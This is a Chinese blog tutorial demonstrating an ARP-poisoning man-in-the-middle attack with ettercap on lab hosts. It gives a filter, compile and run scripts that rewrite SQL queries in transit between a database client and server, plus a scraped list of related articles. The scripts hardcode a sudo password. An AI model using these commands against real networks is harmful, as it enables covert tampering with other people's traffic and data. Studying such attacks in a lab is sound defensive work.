情景:

两台主机A(IP:192.168.44.132)和B(IP:192.168.44.134)

分别作为数据库服务器和客户端。

另一主机C作为中间人进行ARP攻击。主机C上已安装ettercap并启用ip转发。

攻击内容:

在客户端和服务器建立连接后,截获客户端发给服务器的SQL语句,并修改其中字段,重新转发给服务端。然后看服务端是否能返回被修改过后的语句执行结果。

过滤文件:

过滤文件changeStr.txt内容,就是简单的将"TEST2"字段替换为"TEST1"。

if (ip.proto==TCP)
{replace("TEST2","TEST1");
}

编译过滤文件:

过滤文件需要先进行编译。编译语法实例:sudo etterfilter changeStr.txt -o changeStr.filter

这里我写了一个脚本来执行。

用于编译的脚本compile.sh的内容:

(注意:执行这个脚本需要先安装expect

安装过程我在这篇博文里面有记录:https://blog.csdn.net/shimadear/article/details/93972559)

#!/usr/local/bin/expect -f
#set timeout 20 #设置超时时间
spawn sudo etterfilter changeStr.txt -o changeStr.filter
expect {
"*密码" {send "123456\r"}
"*password" {send "123456\r"}
}
interact

这里面"123456"表示root用户密码,按情况改写。

运行:

运行过程包括ettercap的启动,过滤文件的加载,运行后被攻击的两台主机发送的数据包就都按过滤文件的内容进行替换。

运行语句实例:sudo ettercap -T -q -M arp:remote /192.168.56.102// /192.168.56.105// -F changeStr.filter

同样也写了脚本来执行。run.sh内容:

#!/usr/local/bin/expect -f
#set timeout 20 #设置超时时间
spawn sudo ettercap -T -q -M arp:remote /192.168.44.134// /192.168.44.132// -F changeStr.filter
expect {
"*密码" {send "123456\r"}
"*password" {send "123456\r"}
}
interact

查看结果:

在连接到的数据库实例中有表TEST1和表TEST2,TEST1记录条数为1条,TEST2记录条数为2条。

在客户端与服务器建立连接之后,中间人进行攻击之前,客户端提交SQL语句"SELECT COUNT(*) FROM TEST2;" ,正常返回结果为2。而在中间人攻击之后,再次执行语句"SELECT COUNT(*) FROM TEST2;",可以看到返回结果为1,而这正是表TEST1的记录条数。说明攻击成功。

利用ettercap进行简单的基于数据库的ARP毒化攻击相关推荐

  1. 利用ettercap进行简单的arp欺骗和mitm攻击_codestorm_新浪博客

    转自: http://www.secpulse.com/archives/6068.html 方法均来自网络,本人只是记录一下自己操作的过程,大神请无视之- 攻击主机平台:kali-linux     ...

  2. 记录利用ettercap进行简单的arp欺骗和mitm攻击过程

    方法均来自网络,本人只是记录一下自己操作的过程,大神请无视之- 攻击主机平台:kali-linux        被攻击主机:安卓手机192.168.1.107    (在同一局域网内) 1.利用et ...

  3. Python 多线程入门和简单的基于多线程的流量泛洪攻击

    | 警告:仅供参考学习,不得做违法的事!免责声明:本文仅仅只是展示攻击手段,提高防范意识.任何由于该文章产生的消极后果与本作者无关. 多线程入门 # 多线程模块导入 import threading# ...

  4. arp毒化攻击 使用kali下ettercap工具查看其他人浏览图片信息实验

    准备一台kali linux 打开终端 输入命令打开非图形化ettercap ettercap -i eth0 -T -q -M arp:remote /xxx.xxx.xxx.xxx// /// ( ...

  5. 在基于数据库的任务派发系统中利用SQL Server 2005 中新的查询提示来提高系统的效率...

    1.READPAST ReadPast会让SQL Server在查询数据时如果遇到数据行被锁定可以跳过继续搜索数据,从而避免了锁定. 2.UPDLOCK UPDLOCK会让SQL Server在查询数 ...

  6. 基于c语言的简单的mysql数据库操作

    基于c语言的简单的mysql数据库操作 最近做项目需要利用c语言对mysql进行获取数据的操作,于是我对mysql社区提供的c语言调用mysql的部分api进行了简单封装,这里做下记录,方便以后回顾. ...

  7. springboot mysql行锁_SpringBoot基于数据库实现简单的分布式锁

    本文介绍SpringBoot基于数据库实现简单的分布式锁. 1.简介 分布式锁的方式有很多种,通常方案有: 基于mysql数据库 基于redis 基于ZooKeeper 网上的实现方式有很多,本文主要 ...

  8. DL之RNN:基于TF利用RNN实现简单的序列数据类型(DIY序列数据集)的二分类(线性序列随机序列)

    DL之RNN:基于TF利用RNN实现简单的序列数据类型(DIY序列数据集)的二分类(线性序列&随机序列) 目录 序列数据类型&输出结果 设计思路 序列数据类型&输出结果 1.t ...

  9. android sqlite 操作类封装,SQLiteUtils 一个简单的基于 Android 的 Sqlite 数据库的操作封装库 @codeKK Android开源站...

    一个简单的基于 Android 的 Sqlite 数据库的操作封装,它有如下的好处: 便捷地创建表和增添表字段 通过操作对象来 insert 或者 update 表记录 支持多种查询方式,支持分页查询 ...

最新文章

  1. mysql自动分区partition_Mysql分区表及自动创建分区Partition
  2. [译]BitTorrent协议规范
  3. [vue] vue如何优化首页的加载速度?
  4. 机场精细化管理_精细化管理 | 西安咸阳国际机场关于深入推进精细化管理工作的指导意见(九)...
  5. AJAX简单使用介绍
  6. RocketMQ : MQClientException: producerGroup can not equal DEFAULT_PRODUCER, please specify another
  7. python selenium模拟键盘_Python+Selenium自动化篇-7-模拟键盘操作
  8. javascript_php 正则匹配 转
  9. LoginActivity实现
  10. CTA策略:主力连续、全合约模式下回测结果的差异探讨
  11. [转载]物理大神的八卦完整版——大爱物理
  12. 反向代理服务器nginx
  13. mysql 1114错误_mysql – ERROR 1114(HY000):表’XXX’已满
  14. 使用AVSpeechSynthesizer添加文本转语音的功能
  15. PyCharm2017破解步骤
  16. python Excel表序号(leetcode)
  17. Thinkphp资源源码付费下载站网站源码
  18. Linux之ss命令
  19. MySQL数据库--01--一头扎进大沙漠-数据库概述
  20. 关于捷星的反爬虫及sensor_data参数的心得分享

热门文章

  1. 22.Silverlight使用WebService调用C++,Delphi编写的DLL文件
  2. 用Python创建gzip压缩文件
  3. python 根据网址获取股票
  4. 蓝桥杯 ADV-206 算法提高 不大的数
  5. java数字计算结果_Java编写程序之输入一个数字实现该数字阶乘的计算
  6. iis怎么更换php版本,Windows 下PHP+IIS的安装方法(PHP版本为5.0)
  7. java写一个外网访问的接口_不是吧不是吧!随便写的一个API竟获得 2.5 亿的访问量...
  8. SHELL 分析 列出当天访问次数最多的IP
  9. 使用NoSQL Manager for MongoDB客户端连接mongodb
  10. http 与https 区别浅析